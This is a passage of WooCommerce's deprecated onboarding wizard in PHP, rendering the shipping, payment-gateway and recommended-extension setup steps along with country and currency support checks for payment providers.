				<ul class="wc-wizard-services shipping">
					<li class="wc-wizard-service-item">
						<div class="wc-wizard-service-name">
							<p><?php echo esc_html_e( 'Shipping Zone', 'woocommerce' ); ?></p>
						</div>
						<div class="wc-wizard-service-description">
							<p><?php echo esc_html_e( 'Shipping Method', 'woocommerce' ); ?></p>
						</div>
					</li>
					<li class="wc-wizard-service-item">
						<div class="wc-wizard-service-name">
							<p><?php echo esc_html( $country_name ); ?></p>
						</div>
						<div class="wc-wizard-service-description">
							<?php $this->shipping_method_selection_form( $country_code, $currency_code, 'shipping_zones[domestic]' ); ?>
						</div>
						<div class="wc-wizard-service-enable">
							<span class="wc-wizard-service-toggle">
								<input id="shipping_zones[domestic][enabled]" type="checkbox" name="shipping_zones[domestic][enabled]" value="yes" checked="checked" class="wc-wizard-shipping-method-enable" data-plugins="true" />
								<label for="shipping_zones[domestic][enabled]">
							</span>
						</div>
					</li>
					<li class="wc-wizard-service-item">
						<div class="wc-wizard-service-name">
							<p><?php echo esc_html_e( 'Locations not covered by your other zones', 'woocommerce' ); ?></p>
						</div>
						<div class="wc-wizard-service-description">
							<?php $this->shipping_method_selection_form( $country_code, $currency_code, 'shipping_zones[intl]' ); ?>
						</div>
						<div class="wc-wizard-service-enable">
							<span class="wc-wizard-service-toggle">
								<input id="shipping_zones[intl][enabled]" type="checkbox" name="shipping_zones[intl][enabled]" value="yes" checked="checked" class="wc-wizard-shipping-method-enable" data-plugins="true" />
								<label for="shipping_zones[intl][enabled]">
							</span>
						</div>
					</li>
					<li class="wc-wizard-service-info">
						<p>
						<?php
						printf(
							wp_kses(
								/* translators: %1$s: live rates tooltip text, %2$s: shipping extensions URL */
								__( 'If you\'d like to offer <span class="help_tip" data-tip="%1$s">live rates</span> from a specific carrier (e.g. UPS) you can find a variety of extensions available for WooCommerce <a href="%2$s" target="_blank">here</a>.', 'woocommerce' ),
								array(
									'span' => array(
										'class'    => array(),
										'data-tip' => array(),
									),
									'a'    => array(
										'href'   => array(),
										'target' => array(),
									),
								)
							),
							esc_attr__( 'A live rate is the exact cost to ship an order, quoted directly from the shipping carrier.', 'woocommerce' ),
							'https://woocommerce.com/product-category/woocommerce-extensions/shipping-methods/shipping-carriers/'
						);
						?>
						</p>
					</li>
				</ul>
			<?php endif; ?>

			<div class="wc-setup-shipping-units">
				<p>
					<?php
						echo wp_kses(
							sprintf(
								/* translators: %1$s: weight unit dropdown, %2$s: dimension unit dropdown */
								esc_html__( 'We\'ll use %1$s for product weight and %2$s for product dimensions.', 'woocommerce' ),
								$this->get_product_weight_selection(),
								$this->get_product_dimension_selection()
							),
							array(
								'span'   => array(
									'class' => array(),
								),
								'select' => array(
									'id'    => array(),
									'name'  => array(),
									'class' => array(),
								),
								'option' => array(
									'value'    => array(),
									'selected' => array(),
								),
							)
						);
					?>
				</p>
			</div>

			<p class="wc-setup-actions step">
				<?php $this->plugin_install_info(); ?>
				<button class="button-primary button button-large button-next" value="<?php esc_attr_e( 'Continue', 'woocommerce' ); ?>" name="save_step"><?php esc_html_e( 'Continue', 'woocommerce' ); ?></button>
				<?php wp_nonce_field( 'wc-setup' ); ?>
			</p>
		</form>
		<?php
	}

	/**
	 * Save shipping options.
	 *
	 * @deprecated 4.6.0
	 */
	public function wc_setup_shipping_save() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
	}

	/**
	 * Is Stripe country supported
	 * https://stripe.com/global .
	 *
	 * @param string $country_code Country code.
	 *
	 * @deprecated 4.6.0
	 */
	protected function is_stripe_supported_country( $country_code ) {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$stripe_supported_countries = array(
			'AU',
			'AT',
			'BE',
			'CA',
			'DK',
			'FI',
			'FR',
			'DE',
			'HK',
			'IE',
			'JP',
			'LU',
			'NL',
			'NZ',
			'NO',
			'SG',
			'ES',
			'SE',
			'CH',
			'GB',
			'US',
		);

		return in_array( $country_code, $stripe_supported_countries, true );
	}

	/**
	 * Is PayPal currency supported.
	 *
	 * @param string $currency Currency code.
	 * @return boolean
	 *
	 * @deprecated 4.6.0
	 */
	protected function is_paypal_supported_currency( $currency ) {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$supported_currencies = array(
			'AUD',
			'BRL',
			'CAD',
			'MXN',
			'NZD',
			'HKD',
			'SGD',
			'USD',
			'EUR',
			'JPY',
			'TRY',
			'NOK',
			'CZK',
			'DKK',
			'HUF',
			'ILS',
			'MYR',
			'PHP',
			'PLN',
			'SEK',
			'CHF',
			'TWD',
			'THB',
			'GBP',
			'RMB',
			'RUB',
			'INR',
		);
		return in_array( $currency, $supported_currencies, true );
	}

	/**
	 * Is Klarna Checkout country supported.
	 *
	 * @param string $country_code Country code.
	 *
	 * @deprecated 4.6.0
	 */
	protected function is_klarna_checkout_supported_country( $country_code ) {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$supported_countries = array(
			'SE', // Sweden.
			'FI', // Finland.
			'NO', // Norway.
			'NL', // Netherlands.
		);
		return in_array( $country_code, $supported_countries, true );
	}

	/**
	 * Is Klarna Payments country supported.
	 *
	 * @param string $country_code Country code.
	 *
	 * @deprecated 4.6.0
	 */
	protected function is_klarna_payments_supported_country( $country_code ) {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$supported_countries = array(
			'DK', // Denmark.
			'DE', // Germany.
			'AT', // Austria.
		);
		return in_array( $country_code, $supported_countries, true );
	}

	/**
	 * Is Square country supported
	 *
	 * @param string $country_code Country code.
	 *
	 * @deprecated 4.6.0
	 */
	protected function is_square_supported_country( $country_code ) {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$square_supported_countries = array(
			'US',
			'CA',
			'JP',
			'GB',
			'AU',
		);
		return in_array( $country_code, $square_supported_countries, true );
	}

	/**
	 * Is eWAY Payments country supported
	 *
	 * @param string $country_code Country code.
	 *
	 * @deprecated 4.6.0
	 */
	protected function is_eway_payments_supported_country( $country_code ) {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$supported_countries = array(
			'AU', // Australia.
			'NZ', // New Zealand.
		);
		return in_array( $country_code, $supported_countries, true );
	}

	/**
	 * Is ShipStation country supported
	 *
	 * @param string $country_code Country code.
	 *
	 * @deprecated 4.6.0
	 */
	protected function is_shipstation_supported_country( $country_code ) {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$supported_countries = array(
			'AU', // Australia.
			'CA', // Canada.
			'GB', // United Kingdom.
		);
		return in_array( $country_code, $supported_countries, true );
	}

	/**
	 * Is WooCommerce Services shipping label country supported
	 *
	 * @param string $country_code Country code.
	 *
	 * @deprecated 4.6.0
	 */
	protected function is_wcs_shipping_labels_supported_country( $country_code ) {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$supported_countries = array(
			'US', // United States.
		);
		return in_array( $country_code, $supported_countries, true );
	}

	/**
	 * Helper method to retrieve the current user's email address.
	 *
	 * @deprecated 4.6.0
	 * @return string Email address
	 */
	protected function get_current_user_email() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$current_user = wp_get_current_user();
		$user_email   = $current_user->user_email;

		return $user_email;
	}

	/**
	 * Array of all possible "in cart" gateways that can be offered.
	 *
	 * @deprecated 4.6.0
	 * @return array
	 */
	protected function get_wizard_available_in_cart_payment_gateways() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$user_email = $this->get_current_user_email();

		$stripe_description = '<p>' . sprintf(
			/* translators: %s: URL */
			__( 'Accept debit and credit cards in 135+ currencies, methods such as Alipay, and one-touch checkout with Apple Pay. <a href="%s" target="_blank">Learn more</a>.', 'woocommerce' ),
			'https://woocommerce.com/products/stripe/'
		) . '</p>';
		$paypal_checkout_description = '<p>' . sprintf(
			/* translators: %s: URL */
			__( 'Safe and secure payments using credit cards or your customer\'s PayPal account. <a href="%s" target="_blank">Learn more</a>.', 'woocommerce' ),
			'https://woocommerce.com/products/woocommerce-gateway-paypal-checkout/'
		) . '</p>';
		$klarna_checkout_description = '<p>' . sprintf(
			/* translators: %s: URL */
			__( 'Full checkout experience with pay now, pay later and slice it. No credit card numbers, no passwords, no worries. <a href="%s" target="_blank">Learn more about Klarna</a>.', 'woocommerce' ),
			'https://woocommerce.com/products/klarna-checkout/'
		) . '</p>';
		$klarna_payments_description = '<p>' . sprintf(
			/* translators: %s: URL */
			__( 'Choose the payment that you want, pay now, pay later or slice it. No credit card numbers, no passwords, no worries. <a href="%s" target="_blank">Learn more about Klarna</a>.', 'woocommerce' ),
			'https://woocommerce.com/products/klarna-payments/ '
		) . '</p>';
		$square_description = '<p>' . sprintf(
			/* translators: %s: URL */
			__( 'Securely accept credit and debit cards with one low rate, no surprise fees (custom rates available). Sell online and in store and track sales and inventory in one place. <a href="%s" target="_blank">Learn more about Square</a>.', 'woocommerce' ),
			'https://woocommerce.com/products/square/'
		) . '</p>';

		return array(
			'stripe'          => array(
				'name'        => __( 'WooCommerce Stripe Gateway', 'woocommerce' ),
				'image'       => WC()->plugin_url() . '/assets/images/stripe.png',
				'description' => $stripe_description,
				'class'       => 'checked stripe-logo',
				'repo-slug'   => 'woocommerce-gateway-stripe',
				'settings'    => array(
					'create_account' => array(
						'label'       => __( 'Set up Stripe for me using this email:', 'woocommerce' ),
						'type'        => 'checkbox',
						'value'       => 'yes',
						'default'     => 'yes',
						'placeholder' => '',
						'required'    => false,
						'plugins'     => $this->get_wcs_requisite_plugins(),
					),
					'email'          => array(
						'label'       => __( 'Stripe email address:', 'woocommerce' ),
						'type'        => 'email',
						'value'       => $user_email,
						'placeholder' => __( 'Stripe email address', 'woocommerce' ),
						'required'    => true,
					),
				),
			),
			'ppec_paypal'     => array(
				'name'        => __( 'WooCommerce PayPal Checkout Gateway', 'woocommerce' ),
				'image'       => WC()->plugin_url() . '/assets/images/paypal.png',
				'description' => $paypal_checkout_description,
				'enabled'     => false,
				'class'       => 'checked paypal-logo',
				'repo-slug'   => 'woocommerce-gateway-paypal-express-checkout',
				'settings'    => array(
					'reroute_requests' => array(
						'label'       => __( 'Set up PayPal for me using this email:', 'woocommerce' ),
						'type'        => 'checkbox',
						'value'       => 'yes',
						'default'     => 'yes',
						'placeholder' => '',
						'required'    => false,
						'plugins'     => $this->get_wcs_requisite_plugins(),
					),
					'email'            => array(
						'label'       => __( 'Direct payments to email address:', 'woocommerce' ),
						'type'        => 'email',
						'value'       => $user_email,
						'placeholder' => __( 'Email address to receive payments', 'woocommerce' ),
						'required'    => true,
					),
				),
			),
			'paypal'          => array(
				'name'        => __( 'PayPal Standard', 'woocommerce' ),
				'description' => __( 'Accept payments via PayPal using account balance or credit card.', 'woocommerce' ),
				'image'       => '',
				'settings'    => array(
					'email' => array(
						'label'       => __( 'PayPal email address:', 'woocommerce' ),
						'type'        => 'email',
						'value'       => $user_email,
						'placeholder' => __( 'PayPal email address', 'woocommerce' ),
						'required'    => true,
					),
				),
			),
			'klarna_checkout' => array(
				'name'        => __( 'Klarna Checkout for WooCommerce', 'woocommerce' ),
				'description' => $klarna_checkout_description,
				'image'       => WC()->plugin_url() . '/assets/images/klarna-black.png',
				'enabled'     => true,
				'class'       => 'klarna-logo',
				'repo-slug'   => 'klarna-checkout-for-woocommerce',
			),
			'klarna_payments' => array(
				'name'        => __( 'Klarna Payments for WooCommerce', 'woocommerce' ),
				'description' => $klarna_payments_description,
				'image'       => WC()->plugin_url() . '/assets/images/klarna-black.png',
				'enabled'     => true,
				'class'       => 'klarna-logo',
				'repo-slug'   => 'klarna-payments-for-woocommerce',
			),
			'square'          => array(
				'name'        => __( 'WooCommerce Square', 'woocommerce' ),
				'description' => $square_description,
				'image'       => WC()->plugin_url() . '/assets/images/square-black.png',
				'class'       => 'square-logo',
				'enabled'     => false,
				'repo-slug'   => 'woocommerce-square',
			),
			'eway'            => array(
				'name'        => __( 'WooCommerce eWAY Gateway', 'woocommerce' ),
				'description' => __( 'The eWAY extension for WooCommerce allows you to take credit card payments directly on your store without redirecting your customers to a third party site to make payment.', 'woocommerce' ),
				'image'       => WC()->plugin_url() . '/assets/images/eway-logo.jpg',
				'enabled'     => false,
				'class'       => 'eway-logo',
				'repo-slug'   => 'woocommerce-gateway-eway',
			),
			'payfast'         => array(
				'name'        => __( 'WooCommerce PayFast Gateway', 'woocommerce' ),
				'description' => __( 'The PayFast extension for WooCommerce enables you to accept payments by Credit Card and EFT via one of South Africa’s most popular payment gateways. No setup fees or monthly subscription costs.', 'woocommerce' ),
				'image'       => WC()->plugin_url() . '/assets/images/payfast.png',
				'class'       => 'payfast-logo',
				'enabled'     => false,
				'repo-slug'   => 'woocommerce-payfast-gateway',
				'file'        => 'gateway-payfast.php',
			),
		);
	}

	/**
	 * Simple array of "in cart" gateways to show in wizard.
	 *
	 * @deprecated 4.6.0
	 * @return array
	 */
	public function get_wizard_in_cart_payment_gateways() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$gateways = $this->get_wizard_available_in_cart_payment_gateways();
		$country  = WC()->countries->get_base_country();
		$currency = get_woocommerce_currency();

		$can_stripe  = $this->is_stripe_supported_country( $country );
		$can_eway    = $this->is_eway_payments_supported_country( $country );
		$can_payfast = ( 'ZA' === $country ); // South Africa.
		$can_paypal  = $this->is_paypal_supported_currency( $currency );

		if ( ! current_user_can( 'install_plugins' ) ) {
			return $can_paypal ? array( 'paypal' => $gateways['paypal'] ) : array();
		}

		$klarna_or_square = false;

		if ( $this->is_klarna_checkout_supported_country( $country ) ) {
			$klarna_or_square = 'klarna_checkout';
		} elseif ( $this->is_klarna_payments_supported_country( $country ) ) {
			$klarna_or_square = 'klarna_payments';
		} elseif ( $this->is_square_supported_country( $country ) && get_option( 'woocommerce_sell_in_person' ) ) {
			$klarna_or_square = 'square';
		}

		$offered_gateways = array();

		if ( $can_stripe ) {
			$gateways['stripe']['enabled']  = true;
			$gateways['stripe']['featured'] = true;
			$offered_gateways              += array( 'stripe' => $gateways['stripe'] );
		} elseif ( $can_paypal ) {
			$gateways['ppec_paypal']['enabled'] = true;
		}

		if ( $klarna_or_square ) {
			if ( in_array( $klarna_or_square, array( 'klarna_checkout', 'klarna_payments' ), true ) ) {
				$gateways[ $klarna_or_square ]['enabled']  = true;
				$gateways[ $klarna_or_square ]['featured'] = false;
				$offered_gateways                         += array(
					$klarna_or_square => $gateways[ $klarna_or_square ],
				);
			} else {
				$offered_gateways += array(
					$klarna_or_square => $gateways[ $klarna_or_square ],
				);
			}
		}

		if ( $can_paypal ) {
			$offered_gateways += array( 'ppec_paypal' => $gateways['ppec_paypal'] );
		}

		if ( $can_eway ) {
			$offered_gateways += array( 'eway' => $gateways['eway'] );
		}

		if ( $can_payfast ) {
			$offered_gateways += array( 'payfast' => $gateways['payfast'] );
		}

		return $offered_gateways;
	}

	/**
	 * Simple array of "manual" gateways to show in wizard.
	 *
	 * @deprecated 4.6.0
	 * @return array
	 */
	public function get_wizard_manual_payment_gateways() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$gateways = array(
			'cheque' => array(
				'name'        => _x( 'Check payments', 'Check payment method', 'woocommerce' ),
				'description' => __( 'A simple offline gateway that lets you accept a check as method of payment.', 'woocommerce' ),
				'image'       => '',
				'class'       => '',
			),
			'bacs'   => array(
				'name'        => __( 'Bank transfer (BACS) payments', 'woocommerce' ),
				'description' => __( 'A simple offline gateway that lets you accept BACS payment.', 'woocommerce' ),
				'image'       => '',
				'class'       => '',
			),
			'cod'    => array(
				'name'        => __( 'Cash on delivery', 'woocommerce' ),
				'description' => __( 'A simple offline gateway that lets you accept cash on delivery.', 'woocommerce' ),
				'image'       => '',
				'class'       => '',
			),
		);

		return $gateways;
	}

	/**
	 * Display service item in list.
	 *
	 * @param int   $item_id Item ID.
	 * @param array $item_info Item info array.
	 *
	 * @deprecated 4.6.0
	 */
	public function display_service_item( $item_id, $item_info ) {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$item_class = 'wc-wizard-service-item';
		if ( isset( $item_info['class'] ) ) {
			$item_class .= ' ' . $item_info['class'];
		}

		$previously_saved_settings = get_option( 'woocommerce_' . $item_id . '_settings' );

		// Show the user-saved state if it was previously saved.
		// Otherwise, rely on the item info.
		if ( is_array( $previously_saved_settings ) ) {
			$should_enable_toggle = ( isset( $previously_saved_settings['enabled'] ) && 'yes' === $previously_saved_settings['enabled'] ) ? true : ( isset( $item_info['enabled'] ) && $item_info['enabled'] );
		} else {
			$should_enable_toggle = isset( $item_info['enabled'] ) && $item_info['enabled'];
		}

		$plugins = null;
		if ( isset( $item_info['repo-slug'] ) ) {
			$plugin  = array(
				'slug' => $item_info['repo-slug'],
				'name' => $item_info['name'],
			);
			$plugins = array( $plugin );
		}

		?>
		<li class="<?php echo esc_attr( $item_class ); ?>">
			<div class="wc-wizard-service-name">
				<?php if ( ! empty( $item_info['image'] ) ) : ?>
					<img src="<?php echo esc_attr( $item_info['image'] ); ?>" alt="<?php echo esc_attr( $item_info['name'] ); ?>" />
				<?php else : ?>
					<p><?php echo esc_html( $item_info['name'] ); ?></p>
				<?php endif; ?>
			</div>
			<div class="wc-wizard-service-enable">
				<span class="wc-wizard-service-toggle <?php echo esc_attr( $should_enable_toggle ? '' : 'disabled' ); ?>" tabindex="0">
					<input
						id="wc-wizard-service-<?php echo esc_attr( $item_id ); ?>"
						type="checkbox"
						name="wc-wizard-service-<?php echo esc_attr( $item_id ); ?>-enabled"
						value="yes" <?php checked( $should_enable_toggle ); ?>
						data-plugins="<?php echo wc_esc_json( wp_json_encode( $plugins ) ); ?>"
					/>
					<label for="wc-wizard-service-<?php echo esc_attr( $item_id ); ?>">
				</span>
			</div>
			<div class="wc-wizard-service-description">
				<?php echo wp_kses_post( wpautop( $item_info['description'] ) ); ?>
				<?php if ( ! empty( $item_info['settings'] ) ) : ?>
					<div class="wc-wizard-service-settings <?php echo $should_enable_toggle ? '' : 'hide'; ?>">
						<?php foreach ( $item_info['settings'] as $setting_id => $setting ) : ?>
							<?php
							$is_checkbox = 'checkbox' === $setting['type'];

							if ( $is_checkbox ) {
								$checked = false;
								if ( isset( $previously_saved_settings[ $setting_id ] ) ) {
									$checked = 'yes' === $previously_saved_settings[ $setting_id ];
								} elseif ( false === $previously_saved_settings && isset( $setting['default'] ) ) {
									$checked = 'yes' === $setting['default'];
								}
							}
							if ( 'email' === $setting['type'] ) {
								$value = empty( $previously_saved_settings[ $setting_id ] )
									? $setting['value']
									: $previously_saved_settings[ $setting_id ];
							}
							?>
							<?php $input_id = $item_id . '_' . $setting_id; ?>
							<div class="<?php echo esc_attr( 'wc-wizard-service-setting-' . $input_id ); ?>">
								<label
									for="<?php echo esc_attr( $input_id ); ?>"
									class="<?php echo esc_attr( $input_id ); ?>"
								>
									<?php echo esc_html( $setting['label'] ); ?>
								</label>
								<input
									type="<?php echo esc_attr( $setting['type'] ); ?>"
									id="<?php echo esc_attr( $input_id ); ?>"
									class="<?php echo esc_attr( 'payment-' . $setting['type'] . '-input' ); ?>"
									name="<?php echo esc_attr( $input_id ); ?>"
									value="<?php echo esc_attr( isset( $value ) ? $value : $setting['value'] ); ?>"
									placeholder="<?php echo esc_attr( $setting['placeholder'] ); ?>"
									<?php echo ( $setting['required'] ) ? 'required' : ''; ?>
									<?php echo $is_checkbox ? checked( isset( $checked ) && $checked, true, false ) : ''; ?>
									data-plugins="<?php echo wc_esc_json( wp_json_encode( isset( $setting['plugins'] ) ? $setting['plugins'] : null ) ); ?>"
								/>
								<?php if ( ! empty( $setting['description'] ) ) : ?>
									<span class="wc-wizard-service-settings-description"><?php echo esc_html( $setting['description'] ); ?></span>
								<?php endif; ?>
							</div>
						<?php endforeach; ?>
					</div>
				<?php endif; ?>
			</div>
		</li>
		<?php
	}

	/**
	 * Is it a featured service?
	 *
	 * @param array $service Service info array.
	 *
	 * @deprecated 4.6.0
	 * @return boolean
	 */
	public function is_featured_service( $service ) {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		return ! empty( $service['featured'] );
	}

	/**
	 * Is this a non featured service?
	 *
	 * @param array $service Service info array.
	 *
	 * @deprecated 4.6.0
	 * @return boolean
	 */
	public function is_not_featured_service( $service ) {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		return ! $this->is_featured_service( $service );
	}

	/**
	 * Payment Step.
	 *
	 * @deprecated 4.6.0
	 */
	public function wc_setup_payment() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$featured_gateways = array_filter( $this->get_wizard_in_cart_payment_gateways(), array( $this, 'is_featured_service' ) );
		$in_cart_gateways  = array_filter( $this->get_wizard_in_cart_payment_gateways(), array( $this, 'is_not_featured_service' ) );
		$manual_gateways   = $this->get_wizard_manual_payment_gateways();
		?>
		<h1><?php esc_html_e( 'Payment', 'woocommerce' ); ?></h1>
		<form method="post" class="wc-wizard-payment-gateway-form">
			<p>
				<?php
				printf(
					wp_kses(
						/* translators: %s: Link */
						__( 'WooCommerce can accept both online and offline payments. <a href="%s" target="_blank">Additional payment methods</a> can be installed later.', 'woocommerce' ),
						array(
							'a' => array(
								'href'   => array(),
								'target' => array(),
							),
						)
					),
					esc_url( admin_url( 'admin.php?page=wc-addons&section=payment-gateways' ) )
				);
				?>
			</p>
			<?php if ( $featured_gateways ) : ?>
			<ul class="wc-wizard-services featured">
				<?php
				foreach ( $featured_gateways as $gateway_id => $gateway ) {
					$this->display_service_item( $gateway_id, $gateway );
				}
				?>
			</ul>
			<?php endif; ?>
			<?php if ( $in_cart_gateways ) : ?>
			<ul class="wc-wizard-services in-cart">
				<?php
				foreach ( $in_cart_gateways as $gateway_id => $gateway ) {
					$this->display_service_item( $gateway_id, $gateway );
				}
				?>
			</ul>
			<?php endif; ?>
			<ul class="wc-wizard-services manual">
				<li class="wc-wizard-services-list-toggle closed">
					<div class="wc-wizard-service-name">
						<?php esc_html_e( 'Offline Payments', 'woocommerce' ); ?>
					</div>
					<div class="wc-wizard-service-description">
						<?php esc_html_e( 'Collect payments from customers offline.', 'woocommerce' ); ?>
					</div>
					<div class="wc-wizard-service-enable" tabindex="0">
						<input class="wc-wizard-service-list-toggle" id="wc-wizard-service-list-toggle" type="checkbox">
						<label for="wc-wizard-service-list-toggle"></label>
					</div>
				</li>
				<?php
				foreach ( $manual_gateways as $gateway_id => $gateway ) {
					$this->display_service_item( $gateway_id, $gateway );
				}
				?>
			</ul>
			<p class="wc-setup-actions step">
				<?php $this->plugin_install_info(); ?>
				<button type="submit" class="button-primary button button-large button-next" value="<?php esc_attr_e( 'Continue', 'woocommerce' ); ?>" name="save_step"><?php esc_html_e( 'Continue', 'woocommerce' ); ?></button>
				<?php wp_nonce_field( 'wc-setup' ); ?>
			</p>
		</form>
		<?php
	}

	/**
	 * Payment Step save.
	 *
	 * @deprecated 4.6.0
	 */
	public function wc_setup_payment_save() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
	}

	protected function display_recommended_item( $item_info ) {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		$type        = $item_info['type'];
		$title       = $item_info['title'];
		$description = $item_info['description'];
		$img_url     = $item_info['img_url'];
		$img_alt     = $item_info['img_alt'];
		?>
		<li class="recommended-item checkbox">
			<input
				id="<?php echo esc_attr( 'wc_recommended_' . $type ); ?>"
				type="checkbox"
				name="<?php echo esc_attr( 'setup_' . $type ); ?>"
				value="yes"
				checked
				data-plugins="<?php echo wc_esc_json( wp_json_encode( isset( $item_info['plugins'] ) ? $item_info['plugins'] : null ) ); ?>"
			/>
			<label for="<?php echo esc_attr( 'wc_recommended_' . $type ); ?>">
				<img
					src="<?php echo esc_url( $img_url ); ?>"
					class="<?php echo esc_attr( 'recommended-item-icon-' . $type ); ?> recommended-item-icon"
					alt="<?php echo esc_attr( $img_alt ); ?>" />
				<div class="recommended-item-description-container">
					<h3><?php echo esc_html( $title ); ?></h3>
					<p><?php echo wp_kses( $description, array(
						'a' => array(
							'href'   => array(),
							'target' => array(),
							'rel'    => array(),
						),
						'em' => array(),
					) ); ?></p>
				</div>
			</label>
		</li>
		<?php
	}

	/**
	 * Recommended step
	 *
	 * @deprecated 4.6.0
	 */
	public function wc_setup_recommended() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		?>
		<h1><?php esc_html_e( 'Recommended for All WooCommerce Stores', 'woocommerce' ); ?></h1>
		<p>
			<?php esc_html_e( 'Enhance your store with these recommended free features.', 'woocommerce' ); ?>
		</p>
		<form method="post">
			<ul class="recommended-step">
				<?php
				if ( $this->should_show_theme() ) :
					$theme      = wp_get_theme();
					$theme_name = $theme['Name'];
					$this->display_recommended_item( array(
						'type'        => 'storefront_theme',
						'title'       => __( 'Storefront Theme', 'woocommerce' ),
						'description' => sprintf( __(
								'Design your store with deep WooCommerce integration. If toggled on, we’ll install <a href="https://woocommerce.com/storefront/" target="_blank" rel="noopener noreferrer">Storefront</a>, and your current theme <em>%s</em> will be deactivated.', 'woocommerce' ),
								$theme_name
						),
						'img_url'     => WC()->plugin_url() . '/assets/images/obw-storefront-icon.svg',
						'img_alt'     => __( 'Storefront icon', 'woocommerce' ),
					) );
				endif;

				if ( $this->should_show_automated_tax() ) :
					$this->display_recommended_item( array(
						'type'        => 'automated_taxes',
						'title'       => __( 'Automated Taxes', 'woocommerce' ),
						'description' => __( 'Save time and errors with automated tax calculation and collection at checkout. Powered by WooCommerce Services and Jetpack.', 'woocommerce' ),
						'img_url'     => WC()->plugin_url() . '/assets/images/obw-taxes-icon.svg',
						'img_alt'     => __( 'automated taxes icon', 'woocommerce' ),
						'plugins'     => $this->get_wcs_requisite_plugins(),
					) );
				endif;

				if ( $this->should_show_wc_admin() ) :
					$this->display_recommended_item( array(
						'type'        => 'wc_admin',
						'title'       => __( 'WooCommerce Admin', 'woocommerce' ),
						'description' => __( 'Manage your store\'s reports and monitor key metrics with a new and improved interface and dashboard.', 'woocommerce' ),
						'img_url'     => WC()->plugin_url() . '/assets/images/obw-woocommerce-admin-icon.svg',
						'img_alt'     => __( 'WooCommerce Admin icon', 'woocommerce' ),
						'plugins'     => array( array( 'name' => __( 'WooCommerce Admin', 'woocommerce' ), 'slug' => 'woocommerce-admin' ) ),
					) );
				endif;

				if ( $this->should_show_mailchimp() ) :
					$this->display_recommended_item( array(
						'type'        => 'mailchimp',
						'title'       => __( 'Mailchimp', 'woocommerce' ),
						'description' => __( 'Join the 16 million customers who use Mailchimp. Sync list and store data to send automated emails, and targeted campaigns.', 'woocommerce' ),
						'img_url'     => WC()->plugin_url() . '/assets/images/obw-mailchimp-icon.svg',
						'img_alt'     => __( 'Mailchimp icon', 'woocommerce' ),
						'plugins'     => array( array( 'name' => __( 'Mailchimp for WooCommerce', 'woocommerce' ), 'slug' => 'mailchimp-for-woocommerce' ) ),
					) );
				endif;

				if ( $this->should_show_facebook() ) :
					$this->display_recommended_item( array(
						'type'        => 'facebook',
						'title'       => __( 'Facebook', 'woocommerce' ),
						'description' => __( 'Enjoy all Facebook products combined in one extension: pixel tracking, catalog sync, messenger chat, shop functionality and Instagram shopping (coming soon)!', 'woocommerce' ),
						'img_url'     => WC()->plugin_url() . '/assets/images/obw-facebook-icon.svg',
						'img_alt'     => __( 'Facebook icon', 'woocommerce' ),
						'plugins'     => array( array( 'name' => __( 'Facebook for WooCommerce', 'woocommerce' ), 'slug' => 'facebook-for-woocommerce' ) ),
					) );
				endif;
			?>
		</ul>
			<p class="wc-setup-actions step">
				<?php $this->plugin_install_info(); ?>
				<button type="submit" class="button-primary button button-large button-next" value="<?php esc_attr_e( 'Continue', 'woocommerce' ); ?>" name="save_step"><?php esc_html_e( 'Continue', 'woocommerce' ); ?></button>
				<?php wp_nonce_field( 'wc-setup' ); ?>
			</p>
		</form>
		<?php
	}

	/**
	 * Recommended step save.
	 *
	 * @deprecated 4.6.0
	 */
	public function wc_setup_recommended_save() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
	}

	/**
	 * Go to the next step if Jetpack was connected.
	 */
	protected function wc_setup_activate_actions() {
		_deprecated_function( __CLASS__ . '::' . __FUNCTION__, '4.6.0', 'Onboarding is maintained in WooCommerce Admin.' );
		if (
			isset( $_GET['from'] ) &&
			'wpcom' === $_GET['from'] &&
			class_exists( 'Jetpack' ) &&
			Jetpack::is_active()
		) {
			wp_redirect( esc_url_raw( remove_query_arg( 'from', $this->get_next_step_link() ) ) );
			exit;
		}
	}

	/**
	 *
	 * @deprecated 4.6.0
	 */
